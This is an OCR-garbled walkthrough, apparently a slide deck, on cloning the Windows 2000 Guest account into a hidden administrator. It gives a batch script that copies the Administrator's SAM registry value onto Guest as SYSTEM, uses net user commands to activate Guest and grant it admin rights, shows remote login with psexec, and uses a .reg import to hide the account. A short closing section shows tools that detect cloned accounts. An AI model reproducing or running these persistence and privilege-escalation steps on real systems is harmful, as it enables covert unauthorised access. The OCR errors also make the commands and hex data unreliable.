Clone Account
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Tools

m Ca.bat
— Need psu.exe -~ regedit.exe ~ delf.reg

m Ca.exe
a1 Mt.exe




pSuU -p regedit -1 8
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Use “net localgroup administrators guest”
add Guest to administrators group
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Ca.bat
%1 =>PID(System 8)

3 @psu -p "regedit /s delf.reg" -1 %1

1 @psu -p "reg copy
hkIm\SAM\SAM\Domains\Account\Users\OOOOO01F4\f
hkIm\SAM\SAM\Domains\Account\Users\OOOOO1F5\f"

-1 %1 ﬂ
3 @net user guest /active:yes

JfadministratorpyF(i
1 1
@net user guest @guest@ Copy to

3 @net user guest /active:no GuestpyF i
1 echo clone guest to admin ok!!




Pzu 1.81 (Process Super user) for Windows NT-200B8 System Administrator
Creates a process in the context of the other uwuser's security context
without wsing that user’s password.

Cc22881 . support by bhatman.lee at 263 .net

Pzu 1.81 (Process Super user? for Windows NT~-28HH System Administrator
Creates a process in the context of the other wuser's security context
without wsing that user’s password.

(c)2881 . support by batman.lee at 263 _net
lc:“>net user Guest
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C:clone*echo guest to admin ok?!?
guest to admin ok?t?




Use “Guest”’ Login

Windows 2000 Server - ¥Mware Workstal ion
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Use psexec connect

[%144,192.168.0.222: cmd.exe

I:~3CDaemon“FIP*psexec “~~192.168.8.222 —u guest —p Bguest® cnd.exe -
PzExec vl.3 — execute processes remotely MaChIne

Copyright <C» 2081 Mark Russinovich

www.sysinternals.com
windows 2000 Server ; /

Microsoft Windows 28688 [UVersion 5.68.21951] B
(C> hEIVENE 1985-200@ Microsoft Corp. —m =)

’WE:\WINNT\SystemBZ\cmd.eue

C=“WINNTI“systend2>c:clonewhoami.exe
HOME-522DECFB8C*Guest C:sonet user

C=“WINNT“systemd2inet localgroup administrators ~“HOME-5?2DECFR8C E’l‘],EﬁF'HfF
administrators
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Guest . C-~>net localgroup administrators
NetShowServices Bl administrators
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Ca.exe

IC:Nquls}ca “»127.8.8.1 administrator """ guest Plogin(®
Shadow Administrator, by netXeves 20020428
fUritten by netdeyes 20H2,. dansnowlPZ2icn.com

Connect 127.8.8.1 ....0K
Get SID of guest ....0K
Prepairing ....0K
Processing ....0K

Iﬂlean Up ....0K

C:Tool=z>net localgroup adminisztrators
J’ulljg administprators
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Value:V not change
Value:F changed
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Try to use clone account connect
remote machine

[¢4]44192.168.0.222: cmd.exe

I:~3CDaemon~FTP>psexec ~~192.168.8.222 —u guest —-p Plogin® cmd.exe
PzExec vl.3 — execute processes remotely

Copyright <C>» 2881 Mark Russinovich
wuw . susinternals .com

Microsoft Windows 2800 [Uersion 5.80.21951]
(C> hEFYFT 1985-288@ Microsoft Corp.

C:SMHINNT “system32 >vwhoami
HOME-592DECFA8C~Guest

C:sMINNT ~system32>echo 1234 > 1234

C:sHINNT “system32>type 1234
1234

C:sHINNT “»system32 >




Check Tools

u Cca.exe
mLP Check.exe(GUI)
A Mt.exe




Local Administrator Checker ¥0.9 D

Local Administrator CheckerLocal Administrator Checker
Copyright{C) DragonSoft Information Security 2002

Irpartant

The zzanner check \Windows MT 2000/F local permizzion, find out
shadow adriniztrator/clone admiriztrator,

Account Permizssion R esult
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eCca.exe

G-sclone*cca ~~127.8.8.1 administrator '

Check Clone Account, by netdeyes 20020427
lritten by netHeyes 2ZH02, dansnowl2icn.com

Connect 127.8.8.1 ....0K
Prepairing ....0K
Proces=zing ....0K
Checking ....

Check Result:

[Guest]l AS SAME AS [Administrator]

Clean Up ....0K

'mt.exe

C:SMWINNT “HelpX*mt —chkuser
mt —chkuser

UserMame ExpectedSID CheckedS31ID

Administrator 1F4 1F4
Guest 1F5 1F4

Mote = If CheckSID is different from ExpectSID. this account hasz heen cloned?




Hide/delete the Guest Account

Windows Registry Editor Version 5.00

[HKEY LOCAL MACHINE\SAM\SAM\Domains\Account\Users\OO0O001F5]
"V"=hex:00,00,00,00,b0,00,00,00,02,00,01,00,b0,00,00,00,0a,00,00,00,00,00,00,\
00,bc,00,00,00,00,00,00,00,00,00,00,00,bc,00,00,00,70,00,00,00,00,00,00,00,\
2¢,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,\
01,00,00,00,00,00,00,00,00,00,00,2¢,01,00,00,00,00,00,00,00,00,00,00,2c,01,\
00,00,00,00,00,00,00,00,00,00,2¢,01,00,00,00,00,00,00,00,00,00,00,2¢,01,00,\
00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2¢,01,00,00,\
08,00,00,00,01,00,00,00,34,01,00,00,04,00,00,00,00,00,00,00,38,01,00,00,04 \
00,00,00,00,00,00,00,3c,01,00,00,04,00,00,00,00,00,00,00,40,01,00,00,04,00,\
00,00,00,00,00,00,01,00,14,80,90,00,00,00,a0,00,00,00,14,00,00,00,44,00,00,\
00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01 \
00,00,00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,00,00,00,02 \
00,4¢,00,03,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,00,00,01,00,00,\
00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,\
00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,\
01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01
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psu -p "regedit /s noguest.reg” -I 8
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Guest Hide & delete
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